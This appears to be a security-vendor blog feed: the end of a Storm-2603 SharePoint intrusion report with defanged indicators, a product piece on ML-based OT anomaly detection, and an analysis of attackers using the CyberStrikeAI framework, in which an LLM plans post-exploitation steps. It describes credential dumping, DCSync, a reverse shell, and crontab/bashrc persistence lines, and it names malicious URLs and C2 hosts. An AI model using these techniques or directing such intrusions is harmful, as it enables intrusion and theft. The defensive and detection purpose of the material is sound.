Other documented intrusions have identified Storm-2603 as leveraging known flaws within perimeter mail gateways to achieve initial access, subsequently staging the Velociraptor framework with elevated privileges and establishing persistent encrypted tunnels via commercial remote management software to orchestrate secondary lateral movement. This aligns with the post-exploitation behavior we observed in our case. Together with the ToolShell exploitation scenario, this allows us to attribute this case to Storm-2603 with moderate confidence.

Conclusion

From the incident analyzed in this article, the main defensive lesson is that exploiting an internet-facing SharePoint server can enable fileless code execution directly inside the application trust boundary. Storm-2603 did not require a conventional dropper, persistent service, or exposed C2 endpoint; instead, it deployed a webshell inside w3wp.exe, from which tunneling, privilege escalation, credential access, and lateral movement could be orchestrated. Detection therefore needs to move beyond file-based webshell hunting toward runtime behavior, such as anomalous w3wp.exe activity, unexpected outbound connections, RPC coercion, token impersonation, and the introduction of remote-management or DFIR tooling after application compromise.

To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

  • Trojan.MSIL.Agent.gen
  • Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise Description
45.91.94[.]204 SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8 vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29 C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/ Velociraptor server URL
199.232.210[.]172 C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5 Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE VS Code Insiders for tunneling
91.224.92[.]121 Bulletproof-hosted C2 server
49.51.132[.]100 SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2 Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93 7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8 C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219 Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2 Vulnerable driver

  •  

MLEP in KICS for Networks 5.0: how machine learning helps track network behavior of OT devices

In an industrial network, malicious activity can be hard to tell apart from normal data exchange between devices. Malicious actors routinely rely on legitimate tools and the Living-off-the-Land technique, so a single network connection may show no known signs of an attack: the device uses a familiar protocol and transmits ordinary data. An anomaly can hide in subtle details: the data source, the time of access, or the volume of transferred data may be atypical for a particular device. However, to detect this kind of anomaly, you need to understand the roles of the devices at both ends of the connection and know which network activity patterns are typical for them.

But an organization’s asset inventory data is often incomplete, which makes it harder to catch unauthorized connections in time. Suppose monitoring detects a host that regularly exchanges data with programmable logic controllers (PLCs). Its IP address is known, but the inventory does not specify what role it plays: is it an engineering workstation, a process data server, or a piece of contractor’s equipment? The host may also have been on the industrial network for a long time, with its record going out of date after a network upgrade.

In the joint OT asset inventory guidance released by CISA and its partners in 2025, inventorying devices and classifying them by role are treated as part of OT asset management. For organizations, this is one of the most important areas: according to the SANS 2025 ICS security survey, 50% of respondents had deployed or significantly expanded ICS inventory and visibility tools over the previous 12 months, and 54% named them as investment priorities for the next 12–24 months.

Device inventory in Kaspersky Industrial CyberSecurity for Networks

In Kaspersky Industrial CyberSecurity for Networks, the Asset Discovery technology is the foundation of asset visibility. Passive network traffic analysis detects devices and their interactions, while recognition rules help determine the device category and extract available information about it, such as the vendor, model, or software version. Exactly which attributes the system can obtain depends on the protocol and the traffic it observes. We covered this in more detail at the Kaspersky Industrial Cybersecurity Conference.

Hardware and software information in the device card

Hardware and software information in the device card

The product also supports active polling modules (APMs): where polling is allowed, they can request additional configuration and firmware version details from devices. This kind of inventory is far more detailed than a list of IP addresses.

Installed modules and their placement in a PLC rack

Installed modules and their placement in a PLC rack

However, even accurate hardware information doesn’t always explain what function a host performs in a specific industrial facility. Gaps appear for various reasons. Some devices send identifying information only at startup or during configuration, while others rarely communicate. Proprietary protocols can’t always be parsed, and encryption may leave only connection metadata for analysis. If the monitoring system doesn’t receive traffic from every segment of the industrial network, some network activity goes unobserved. Active polling doesn’t suit every device or every operating condition.

Devices of unknown category

Devices of unknown category

When there isn’t enough direct information about a device, its category can be refined by looking at the patterns of its recurring network interactions. Analyzing these interactions is the job of Machine Learning Event Processor (MLEP), a service included in Kaspersky Industrial CyberSecurity for Networks 5.0. This machine-learning-based event processor can both refine device categories and detect anomalies in their network behavior.

What data does MLEP analyze?

To compare device behavior, you don’t need to store every packet as a separate observation (a data object) in the ML model. MLEP represents network sessions as a sequence of short 15-second fragments. For each fragment, MLEP stores information about the endpoints (IP, MAC, and port), the direction of data exchange, the protocol, and the number and size of the packets transmitted. Together these make up an event, which then gets a timestamp. Traffic thus becomes a sequence of events showing which hosts a device communicated with, when, and how communication intensity changed.

Aggregating data into events also sets the method’s limits. An aggregated fragment can’t be used to reconstruct the exact order of individual packets or the content of commands. MLEP can draw conclusions about a new protocol only if another KICS technology has managed to recognize it. That said, comparing stable network connections and changes in exchange volume doesn’t require a detailed record of every packet. These observations form the basis of the device’s behavioral history.

From observations to MLEP results

Each object has its own behavioral history, and one object’s history can’t be applied to another. But the principles of behavior analysis, along with some common rules, work across different objects.

Let’s look at how this works in MLEP, which is built on a spiking neural semantic network (NSN).

Event identification

Neurosemantic networks structure information as a multilayer ordered graph, where the data in each consecutive layer builds on the data in the previous one. The nodes of this graph — that is, the units of information in each layer — act as neurons.The NSN creates dedicated channels to handle different event parameters (port, IP, and so on). Unique parameter values for each channel are stored as neurons in layer 0. The event itself, which consists of a set of parameter values, is stored as a neuron in layer 1 of the network. If an event occurs for the first time, neurogenesis creates a new neuron with input connections to the corresponding parameter neurons. This lets the network learn and operate on the event stream at the same time. If the event has occurred before, the network activates the same neuron that was created when the event first appeared. This way, the network identifies each event precisely. Each neuron that corresponds to an event also collects basic statistics: when it was last activated and how many times it has been activated.
 

Event history

In NSN-based event processing, layer 2 and above store sequences of events over time: recurring patterns and the full history. However, categorization and statistical anomaly detection don’t require storing the full packet sequence or a detailed timeline of every network event. As we noted earlier, events are themselves aggregates, which means the order of network packets has already been averaged out. So MLEP keeps history only temporarily, within each episode (30,000 aggregated events by default), which saves computing resources.

Statistics processing in MLEP

MLEP processes statistics mainly through specialized listener neurons on layer −1 (minus one) of the network. Attention heads and monitors are built on these neurons.

Key components of the NSN

Key components of the NSN

When an event arrives, the corresponding neuron is activated, and the network instantly knows whether that neuron is new or was created earlier. Each attention head subscribes to the events or event features it needs and takes in only the activations of the matching neurons. If an event occurs for the first time, all heads are notified and then decide whether to subscribe (grow a connection to the relevant neuron) and receive information about activations of such neurons from then on.

It is called a spiking network because activation information is a spike, not a number. This spike tells the head that something it’s interested in has happened.

An attention head is configured according to scenarios — the situations that MLEP should send alerts about. The core of a head’s configuration is a query, which filters incoming information and serves as the subscription criterion. Unlike regular database queries, this query runs on the stream, so it can react to an event instantly.

Attention heads work very much like the semantics of ordinary human language. A query has a subject of attention (one or more grammatical subjects) and conditions (the other parts of the sentence). In the infrastructure of an industrial enterprise, the subjects are devices on the network, and the conditions are various aspects of network communication, such as ports, protocol, and average packet size. If a head has many subjects (for example, if it’s interested in every device on an industrial network), it fans out: it creates a child head for each individual value of the subject of attention, that is, each device. The child head then watches a specific device and reports to the parent head.

Attention heads don’t accumulate or process statistics. They only filter event streams. When an attention head receives a relevant event, it activates and sends a spike to the monitor subscribed to that head.

Monitors, in turn, have stacks for accumulating and processing events. They can also have their own queries and post-filter information from the head. For example, they can select only new events from those filtered by the head.

There are several types of monitors:

  • Stat monitors track changes in the average count of specific events (for example, device activity) over time intervals typical for those events, or in the average values of numeric event parameters (for example, changes in device traffic volume).
  • Monitors work from the event alone: they fire when an event has occurred a certain number of times within a given interval, or has occurred for the first time.
  • Similar-behavior monitors work with heads that can generalize events, that is, extract just a few parameters whose combination is shared (generalized) across many events.

MLEP uses these monitor types to implement scenarios for categorizing devices and detecting their anomalous behavior:

  1. For categorization, MLEP uses attention heads and monitors that identify common behavior across different assets and group devices accordingly. MLEP then takes information from Asset Discovery about the known categories of some assets and extends those categories to other assets in the same group. Because a device can show different types of activity, it may land in several groups. MLEP then makes a weighted assessment across all relevant groups.
    Groups of devices with similar network behavior

    Groups of devices with similar network behavior

    At the final stage, the system verifies that assigning the category to the asset is permissible. This is again done by special rule monitors loaded into the NSN at system startup. The rules rely on asset metadata available from Asset Discovery and APMs.

  2. MLEP takes a similar approach to anomaly detection: an attention head and a monitor define an anomaly scenario, often loosely. When a monitor activates on such a scenario, MLEP generates an alert about unusual behavior.

The current version of MLEP ships with preconfigured heads and monitors.

The functional dynamic diagram below shows how events from devices on an industrial network are processed.

Event processing flow

Event processing flow (click to play)

MLEP in practice: how behavior helps complete the asset inventory

At a facility with several similar production lines, device information may be more complete on some lines than on others. On one line, devices are identified as PLCs, while on another, after an upgrade, some hosts show up only as addresses: the available traffic didn’t provide enough information to determine their category. Still, these devices communicate with the same types of HMIs and process data collection servers. Their communication directions, frequency, and volumes may be similar.

That’s where MLEP comes in. It takes the categories of already known assets and matches recurring features of their network behavior against those of uncategorized devices. When the observed interactions turn out to be similar, MLEP can add a category for that host to the inventory.

Device category suggested by MLEP

Device category suggested by MLEP

Once the category is refined, the industrial network map provides more context about the equipment on the network. When analyzing network activity, the analyst immediately sees the device’s suggested category and can skip looking up each IP address in the design diagrams. This approach is especially useful where equipment changes faster than the documentation is updated.

The suggested category is also checked against existing device information and defined constraints. This helps filter out some contradictory options, but prediction quality still depends on how much of the traffic is visible, especially if the device communicates only rarely.

Anomalous activity and streaming statistics

Investigations of real-world attacks show that attackers actively use both standard tools and permitted protocols. You don’t always need to know an attacker’s specific technique in advance to spot potentially malicious activity. Signature-based detection helps find known signs of an attack, but it doesn’t assess how typical an observed interaction is for a particular device. MLEP compares current activity with the device’s usual network profile: which hosts it communicates with, which protocols it uses, when and how much data it transmits, its average packet size, and so on. The changes it detects help guide the direction of the investigation. Correlating these changes with other events and the operational context helps determine whether malicious actions could be behind them. When investigating an incident that has already been detected, anomalies help reconstruct the sequence of actions.

The first version of MLEP comes with six preconfigured monitors, one for each type of deviation from the device’s usual network profile:

Anomaly How it helps with event analysis
New external host Flags a new external connection that wasn’t previously seen in the device’s observed behavior, even if the IP address isn’t listed among known IoCs. Helps check whether this connection appeared at the same time as other suspicious events.
New combination of destination address and port Shows that the device has begun using a service it hasn’t used before. Once an incident has been detected, this helps trace new connections after the more critical events have been analyzed.
Unusually large volume of data sent Highlights data transfers that are atypical for the device and helps correlate their timing and direction with other events.
Atypical activity time Shows that the device was active at a time that’s unusual for it. In an already detected incident, this helps reconstruct the timeline of actions around the main alert.
New protocol Helps spot a new method of communication, even when the device is communicating with familiar hosts.
Activity with signs of scanning Shows that the device has started contacting an unusually large number of neighboring hosts. This signal helps reveal possible reconnaissance ahead of attempts to access equipment.

During an investigation, anomalies help reconstruct the sequence of changes: when a specific host established new connections, switched protocols, increased its data transfer volume, or shifted its operating hours. Matching events by device and time shows an analyst how activity unfolded around an incident that has already been detected.

This is especially useful when some of the attacker’s actions fell outside the monitored scope or didn’t trigger other KICS technologies. Correlating these changes with the device’s role, protocol analysis data, and events from other technologies gives the analyst a more complete timeline. Behavioral anomalies show exactly where to look for the missing links and which network interactions need attention.

Atypical Activity Time anomaly card

Atypical Activity Time anomaly card

In the event list, anomalies detected by MLEP are marked with an AI label. Each event shows its name, source, destination, timestamp, and the ID of the triggered scenario.

Conclusion

In an industrial network, whether behavior is anomalous depends on the host where it occurs and that host’s place in the industrial process. The repetitive nature of many communications makes a change in normal data exchange easier to spot, while knowing a device’s function and criticality helps gauge the possible consequences. Taken together, these observations make network traffic more than a list of connections: it helps assess new events in the context of a specific facility, even without an attack scenario known in advance. Machine learning technologies are well suited to this kind of comprehensive analysis, as they can process and organize huge streams of heterogeneous data. Starting with version 5.0, Kaspersky Industrial CyberSecurity for Networks handles this function with MLEP, which works effectively alongside the product’s existing functionality.

  •  

CyberStrikeAI in the wild: the use of AI in real-world attacks on organizations

Introduction

As part of proactive threat monitoring, Kaspersky’s Cyber Threat Intelligence team identified a malicious campaign involving C2 agents controlled by artificial intelligence. Confirmed victims of the campaign included organizations in the education sector in several countries across Africa and Latin America. CyberStrikeAI played a key role in the post-exploitation phase. This is an open-source framework in which an LLM orchestrator on the command-and-control server plans actions, selects tools, and generates commands, while an implant executes them on compromised hosts. Using CyberStrikeAI, the attackers progressed from reconnaissance to full domain compromise.

According to our data, this is one of the first public descriptions of a compromise involving an LLM in the wild. The campaign we discovered clearly illustrates how the role of AI in attackers’ arsenals is evolving: until recently, language models were used primarily during preparatory stages – for writing phishing emails, debugging code, or searching for vulnerabilities. Now, however, they are being embedded into the very core of the attack, automating actions at every stage: payload execution, persistence on the host, discovery, lateral movement, and, finally, data collection and exfiltration. Post-exploitation – the stage that traditionally required manual work by an experienced operator – plays a particularly significant role here.

A key feature of the scheme using the CyberStrikeAI framework is that the implant ceases to be a simple tool for executing the operator’s commands. Decisions are distributed across two levels: the operator defines the task in general terms, while the model determines how to execute it – specifically, which commands to send to the host and in what sequence. Thus, the strategic planning remains with the human, while the choice of technical steps is delegated to the model, and the implant executes the model’s decisions.

To understand how this scheme works in practice, let’s examine the chain of actions taken by the attackers, as reconstructed by our analysts during the incident investigation.

Timeline of the attack

Let’s examine the timeline of the attack using an example from one incident within the detected campaign.

The first phase follows a standard approach: a human operator gains access to the victim’s infrastructure via a compromised SQL Server (version 16.0.1000), then collects basic information about the host, deploys tools, and conducts network reconnaissance. All of this activity takes nearly a day, followed by a two-week pause.

The second phase is fundamentally different. The first step involves deploying the CyberStrikeAI C2 agent, which receives commands from a server-based LLM orchestrator. During the second phase, the agent performs the following:

  • establishing persistence and conducting local reconnaissance within 2 minutes;
  • conducting domain reconnaissance over the next 5 hours;
  • after a brief pause of several days, moving on to the final stage – lateral movement via SMB and WMI, mass credential dumping on hosts, and database export – with the entire operation taking no more than one hour.

We’ll discuss these stages in more detail in the next section.

Technical details

CyberStrikeAI overview

CyberStrikeAI is an open-source, modular platform written in Go for automating penetration testing. Its key feature is combining LLM-based attack orchestration and a built-in C2 server with agents (beacons) within a single server process.

The entire “intelligent” layer is isolated on the control server. C2 functions (calling reconnaissance and exploitation utilities, managing webshell connections, assigning tasks to agents, and reading results) are available to the model as MCP tools. The implant is a classic C2 agent with no AI functionality – no API keys, no calls to AI service APIs, and no autonomous logic. It periodically polls the listener server via HTTP/S, TCP, or WebSocket, executes shell commands, and interacts with the file system. To the victim, this activity looks like a typical remote-control session, where a server-side LLM orchestrator queues tasks instead of a live operator. The LLM influences how decisions are made, but not how the corresponding commands are delivered to the host.

Although CyberStrikeAI is publicly available, specific instances of the framework can be linked to specific attackers or campaigns. Detection and attribution are possible based on the following artifacts:

  • Control panel: Upon launch, a self-signed TLS certificate is generated, with the framework’s name appearing in the issuer and subject fields. The certificate is created in memory at each startup, so the not_before field effectively records the time the process was launched. Accordingly, as with Cobalt Strike, the chronology of restarts can be reconstructed from the scan history.

    CyberStrikeAI control panel's self-signed TLS certificate

    CyberStrikeAI control panel’s self-signed TLS certificate

  • Implant: The build metadata (go version -m) contains a path to the main package, which includes data pointing to the built-in CyberStrikeAI generator – a temporary directory with the build identifier. This path is identical for all payloads, making it a reliable signature. Additionally, the build info field contains version control system metadata, which can be used to compare samples against one another.
  • Authentication: When communicating with the server, the implant sends an X-Implant-Token header with a fixed value in the HTTP request. The token is unique to each C2 server and is embedded into the malicious payload during the build phase; therefore, it serves as both a network indicator and a sign that the samples belong to the same server.
HTTP header parameters sent by the implant to the server

HTTP header parameters sent by the implant to the server

It should be noted that the implant version does not reflect the server version. The implant can operate for months while the operator updates the server-side components: listener configurations and keys are preserved during updates. In the incidents we detected, we observed the use of a single agent version throughout the entire incident. In such cases, the sample’s build date may indicate the earliest possible deployment date of the CyberStrikeAI infrastructure, but it still does not provide an estimate of the compromise duration.

Execution & Privilege Escalation

The first malicious commands on the victims’ systems in the campaign under investigation originated from the sqlservr.exe process, indicating the likely initial access vector and the context in which the attackers gained the ability to execute code. It is important to note that the commands marked as having been executed prior to agent installation were executed manually by the attacker specifically within the context of this process. At this stage, we are not yet dealing with automated implant activity, but rather with manual actions by the operator.

Before launching the agent on the machines, the attackers checked for its presence using a PowerShell script, from which we can deduce its default deployment paths: C:\Windows\Temp\, C:\Windows\, C:\ProgramData\, C:\Temp. At the same time, the attacker can disguise the agent’s name as that of a legitimate system process. In the example below, it mimics svchost.exe (svchosts.exe)

Checking for the presence of the CyberStrikeAI agent on the system

Checking for the presence of the CyberStrikeAI agent on the system

Delivery and execution of the CyberStrikeAI agent

Delivery and execution of the CyberStrikeAI agent

Like most C2 agents for Windows, CyberStrikeAI uses PowerShell to execute its payload. When a request is received from the operator, the commands to be executed are additionally encoded in Base64 to bypass keyword-based detection.

Decoded form of the command:

When administrative privileges were available (for example, a domain administrator account), instead of executing commands directly, the agent on remote hosts often created scheduled tasks so that the malicious payload would run with SYSTEM privileges:

An alternative method that does not use schtasks utility is to create a task via the Schedule.Service COM object:

The payload (p1.ps1) from the example above is a reverse shell that connects to the server at 185.186.245[.]144:5501:

The p1.ps1 payload and similar scripts were distributed across the network using shared network administrative folders and the WMI protocol, which we will describe in more detail in the Lateral Movement section.

Stealth

In addition to encoding commands in Base64 and obfuscating SQL/LDAP queries – which we will describe in the Collection & Exfiltration and Discovery sections, respectively – the attackers split the malicious payload into multiple files. It is noteworthy that the scripts were transmitted in this manner even before the agent was installed – that is, at a stage where human intervention is typically required – yet they clearly bear the hallmarks of being generated by an LLM.

Below is a sequential record of several script fragments written to the file d3.b64.

Subsequently, the attackers used the certutil utility to decode the resulting file and executed it with the following command:

Once assembled and decoded, the script’s contents looked like this:

The script is a tool for decrypting DPAPI secrets from the file C:\ProgramData\dsn_line.txt. This file, in turn, is populated by the following command, which searches for a DSN string containing connection settings in the SQL Server Reporting Services configuration file rsreportserver.config and copies its contents to dsn_line.txt.

It is worth noting that some of the scripts delivered and executed as described above contain comments in Chinese (##  –  researcher’s comments).

Persistence

If the CyberStrikeAI implant was successfully delivered, the first step was to establish persistence on the target system. To do this, the agent created a scheduled task named SystemUpdate, which specified the path to the implant as the action to be performed:

Analysis of the framework’s source code revealed an alternative method of persistence: by adding a value to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, where the name of the created value matches the task name (SystemUpdate).

Agent persistence on Linux systems is also implemented in two ways – by adding the entry @reboot <path_to_beacon> & to the user’s crontab (in which case the process runs at system startup), or by adding the line (nohup <path_to_beacon> &>/dev/null &) to ~/.bashrc (in which case the agent starts when an interactive bash shell is opened).

It is worth noting that the choice of a specific persistence method is delegated to the LLM connected to CyberStrikeAI. However, thanks to the human-in-the-loop (HITL) mechanism, the operator retains full control over the process: commands generated by the model may require manual approval or correction before they are executed.

Discovery

Local Discovery

Before installing the agent on a compromised host, the attackers manually gathered basic system information using a fairly trivial set of commands:

The attackers also manually checked for internet access and obtained the external IP addresses of the compromised machines using the Chinese service dnslog[.]cn. The service generates a random third-level domain, after which the attackers attempt to resolve it on the compromised machine.

If the machine has internet access, the request succeeds, and the attackers obtain the external IP address of the compromised device on the service’s page.

For reconnaissance purposes, the agent generates a more complex script designed to map out a path for further privilege escalation by compromising SCCM or exploiting msiexec (the AlwaysInstallElevated key):

Additionally, to find ways to elevate privileges locally, the agent executed scripts to inventory services running under domain accounts and tasks running under the SYSTEM account:

During their activity, the attackers periodically checked for Microsoft Defender detections:

Remote Discovery

After gathering information about the compromised host, the attackers proceeded to conduct reconnaissance within the network. During the preparatory phase of the attack, they manually collected additional information about remote hosts using the net.exe utility.

During the main phase, the agent used PowerShell’s built-in functionality to detect accessible hosts without relying on additional utilities (such as nmap or fscan):

Additionally, relevant LDAP queries to Active Directory objects helped build a network map:

Furthermore, the presence of the installed agent on remote hosts was verified using WMI:

Domain Discovery

The next step was to gather information about the victims’ domains. To this end, before installing the agent, the attackers used standard OS utilities:

However, later on, using the CyberStrikeAI implant, reconnaissance was carried out via generated PowerShell scripts:

In addition to basic domain information, the agent performed LDAP queries to gather information for Kerberoasting and AS-REP Roasting attacks:

Finally, the agent was used to check the domain for the presence of LAPS and Microsoft Azure:

To detect signs of Microsoft Azure usage within the infrastructure, the attackers also searched for the .azcopy directory – created by the AzCopy (Microsoft Azure Storage Copy) utility – in users’ home directories:

Credential Access

After successfully conducting reconnaissance and mapping the network, the attackers moved on to the next stage – dumping credentials. For this purpose, the agent used a classic set of LOLBINs and well-known third-party tools.

The agent dumped registry hives containing credentials using the reg.exe utility:

The agent dumped the lsass.exe process using the MiniDump function of the comsvcs.dll library. In doing so, the target process’s PID was used instead of its name to make static detection based on the command line more difficult:

After successfully compromising privileged domain accounts (specifically, the built-in domain administrator), the attackers also carried out DCSync and Golden Ticket attacks via the agent using a renamed version of the mimikatz utility:

Lateral Movement

To spread across the network using compromised accounts, the attackers employed utilities from the Impacket toolkit, specifically WMIExec, as indicated by the utility’s characteristic command line:

Once installed, the agent prefers to use standard OS mechanisms, such as shared network folders.

Another method the agent uses to remotely execute commands is the WMI protocol. In particular, the agent used it to distribute the aforementioned p1.ps1 reverse shell script. This involved using compromised user accounts with local administrator privileges on the target hosts:

A second method of lateral movement via WMI uses the Invoke-CimMethod cmdlet:

Command & Control

To deliver the aforementioned tools (malicious scripts, mimikatz, and the agent itself) to the initial nodes in the infection chain, the attackers used standard OS utilities:

After the agent is installed, it checks the availability of the C2 server’s ports. The implementation mechanisms here are virtually unlimited and depend on the “creativity” of the respective LLM agents connected to the server:

To download additional utilities, the CyberStrikeAI implant also used built-in utilities (LOLBINs). The tools could be hosted on the attackers’ own servers or downloaded directly from GitHub:

Collection & Exfiltration

The data collection phase deserves special attention. It demonstrates yet another capability of LLM orchestration – the automatic generation of SQL and LDAP queries tailored to a specific task.

In one incident during the campaign, the attackers deployed the CyberStrikeAI implant on an educational organization’s SQL server and collected information from the database via PowerShell. Here is an example of a command executed by the agent:

Normalized view of the executed script with comments:

Before accessing the data, the agent checked the privileges of the account under which it connected to the database:

In decoded form, the check looks as follows:

On network resources, file collection was preceded by a recursive directory scan to identify files of interest.

To interact with the file system, the implant provides a built-in interface that supports direct uploading and downloading of files. Files are transferred directly via the main encrypted communication channel with the C2 server (HTTP or TCP), and the data itself is encoded in Base64 and packaged into the agent’s standard JSON responses.

Another built-in capability of the implant is taking screenshots of the infected machine. As with other actions, the implant does not initiate this on its own: the command to capture the screen is issued by the LLM orchestrator, and the agent merely executes it and returns the result via the same control channel.

On Windows, the command for taking screenshots looks like this:

The Linux version looks like this:

In the incidents we detected, data collection was the final stage of the attack: the chain ended there, and we observed no further activity.

Attribution

The key artifact for attribution in this campaign is the implant’s build metadata. The attackers built the malicious payload inside a Git clone of the project, so the Go compiler embedded version control system information into the binary files – the hash and commit time, as well as the vcs.modified=true flag (analogous to the +dirty suffix) – indicating uncommitted local changes in the working copy. The combination of these fields forms a unique fingerprint for a specific build.

Based on this fingerprint, the samples are divided into two independent groups, in each of which the Windows implant and the Linux implant have completely identical build metadata. A match indicates that, within each group, both payloads were built from the same project working copy.

Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment

Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment

However, these groups do not overlap with one another. They do not share a common C2 infrastructure, and different versions of CyberStrikeAI are deployed on the command-and-control servers. In other words, the build metadata reliably links the samples within each group but does not provide grounds for linking the two groups together.

Differences in CyberStrikeAI versions on the command-and-control servers

Differences in CyberStrikeAI versions on the command-and-control servers

The available data does not allow us to link the activity to any known group of attackers, nor to state with certainty that the same operator is behind both campaigns. Two factors prevent this. First, the tool’s openness: CyberStrikeAI is publicly available, so different operators could have independently deployed it and assembled malicious payloads under similar conditions. Second, command generation by the model: the “signature” characteristic of a specific operator is largely shaped not by a human but by an LLM. On the one hand, this increases the diversity of commands: the same command, when generated multiple times, can look different. On the other hand, it strips them of their individual characteristics, which reduces the value of behavioral metrics for attribution.

However, the Chinese-language comments found in the attackers’ scripts and the use of Chinese services still suggest a connection between the activity and a Chinese-speaking operator. In addition, analysts noted the timing of the control servers’ restarts: since the self-signed TLS certificate is regenerated each time the process starts, its not_before field records the restart time, and most of these restarts occurred during business hours in the UTC+8 time zone.

The origin of the tool itself also indirectly points in the same direction: CyberStrikeAI was developed within the Chinese cybersecurity community and is well known there.

In summary

CyberStrikeAI is a telling – though not unique – example of a shift occurring within the class of C2 frameworks: the LLM orchestrator is no longer merely an add-on to reconnaissance but has become a control layer over post-exploitation. If HexStrike AI and similar tools cover the “find and break” phase, and Sliver/Mythic/Havoc cover the “establish a foothold and control” phase, CyberStrikeAI completes the kill chain: a single server-side process written in Go executes utilities via MCP, handles webshell connections, and assigns tasks to the implant, while the model analyzes the results and decides what to do next.

The key takeaway is that the introduction of AI into the attack chain does not yet present fundamentally new challenges for detection. All the “intelligent” work remains on the attacker’s side, while the compromised host is subjected to familiar actions: from reconnaissance via Kerberoasting and AS-REP Roasting to LSASS dumps, DCSync, and the Golden Ticket attacks. This is a typical, well-documented set of domain compromise techniques. The novelty of the attack lies not in the methods themselves, but in the speed and ease with which they were executed: AI orchestration has lowered the skill requirements for the operator, but has not taken the attack beyond what defenders already know and are capable of detecting. The timing is also telling: individual key phases of the activity (such as establishing a foothold, lateral movement, and obtaining credentials) took only a few hours, and the entire attack – from agent deployment to the compromise of domain administrators – was completed within 3–4 days.

However, the CyberStrikeAI architecture does not limit users to the scenario described. The same mechanisms allow for the on-demand assembly of more complex chains – including DPAPI secret extraction and attacks on SCCM and Azure IMDS – all of which are within reach of the same group of actors, with a relatively low skill barrier. As the models evolve, the gap between the complexity of orchestration and the level of techniques used will narrow, and the operator’s role will gradually shift from setting tasks to monitoring the model’s actions.

Detection by Kaspersky solutions

It may seem that attacks using AI agents require the creation of fundamentally new detection rules. Indeed, to detect the activity of an LLM agent installed on a host within the infrastructure, it is necessary to create detection logic based on the specific characteristics of the agents. Detection rules for this activity can be found using Hunt Hub with the following filter.

However, in the case of the attack described, a different logic applies. The main difference lies in the architecture of the attack itself: the LLM agent was not located within the corporate network perimeter. It operated remotely via a C2 agent, orchestrating actions, and left no traces of its presence in the infrastructure (such as specific API requests to local LLMs or anomalous patterns of resource consumption by hosts).

The key difference between this activity and an attack by an experienced human operator lies largely in speed. Tactically, technically, and methodologically, AI, for the most part, uses exactly the same tools, utilities, and techniques as a human penetration tester. It does not write unique exploits from scratch, but rather combines known methods and dynamically adapts them to the situation, handling the tools’ errors on its own.

Since the actions performed by an AI agent on the network are indistinguishable from those of a human, classic, well-tuned correlation and behavioral analysis rules are sufficient to detect it. Here are a few examples of how Kaspersky Next EDR Expert successfully detects the attack described:

Kaspersky Anti Targeted Attack (KATA) is used to detect malicious activity in network traffic. Communication between CyberStrikeAI agents and the command-and-control server occurs without accessing AI platforms such as ChatGPT or Claude. Instead, the agent’s C2 server is an infrastructure pre-configured by the attackers, just as in attacks that do not use AI agents. Analysis of decrypted network traffic using NDR-class solutions reveals characteristic communication patterns of CyberStrikeAI agent activity. When these patterns are detected, KATA generates an alert with the verdict Backdoor.CyberStrikeAI.HTTP.C&C.

Alert regarding the detection of CyberStrikeAI communication with a C2 server

Alert regarding the detection of CyberStrikeAI communication with a C2 server

To detect post-exploitation activity, you can use not only IDS technology but also NAD (Network Anomaly Detection). It analyzes all traffic for suspicious indicators that do not correspond to a node’s typical network activity.

For example, actions performed by CyberStrikeAI during the Domain Discovery phase are detected by an NDR:NAD rule named “Scanning domain records via LDAP queries.”

NDR:NAD alert: reconnaissance via LDAP queries detected

NDR:NAD alert: reconnaissance via LDAP queries detected

You can learn more about NDR:NAD technology in our article on Securelist.

You can also visualize the connections between C2 addresses and files used by attackers in the Research Graph section of the Kaspersky Threat Intelligence Portal. This includes tracking the emergence of new CyberStrikeAI implants that communicate with malicious addresses.

Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal

Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal

In addition, the Threat Lookup service available on the portal allows you to determine whether malicious files belong to CyberStrikeAI using attribution mechanisms based on the executable file’s code.

Demonstration of attributing a malicious implant to the CyberStrikeAI framework

Demonstration of attributing a malicious implant to the CyberStrikeAI framework

Kaspersky SIEM detects all stages of an attack by the CyberStrikeAI agent. The product repository contains over 100 rules for detecting the techniques discussed in this article; we will list the most critical ones below.

Execution of various commands from the sqlservr.exe process:

  • R300_04_Windows shell started by a web application

Downloading and executing a payload via PowerShell:

  • R110_03_PowerShell code downloaded and executed

Creating Windows scheduled tasks:

  • R099_04_Suspicious arguments when running schtasks.exe
  • R300_03_Windows shell started by the scheduler

Persisting via crontab or bashrc:

  • R099_06_Suspicious cron job activity
  • R405_02_UNIX shell configuration modification

Rules located at the KUMA Packages/SOC package/Configuration discovery path detect the collection of information about hosts, network settings, and domains using various reconnaissance tools. Rules that aggregate detections by reconnaissance tools:

  • R224_14_Windows reconnaissance activity
  • R224_09_System information discovery by running multiple utilities within a short period
  • R224_04_System information discovery via standard Linux tools

Data collection for Kerberoasting and AS-REP Roasting:

  • R034_01_Multiple TGS ticket requests (Kerberoasting)
  • R452_18_AS-REP Roasting

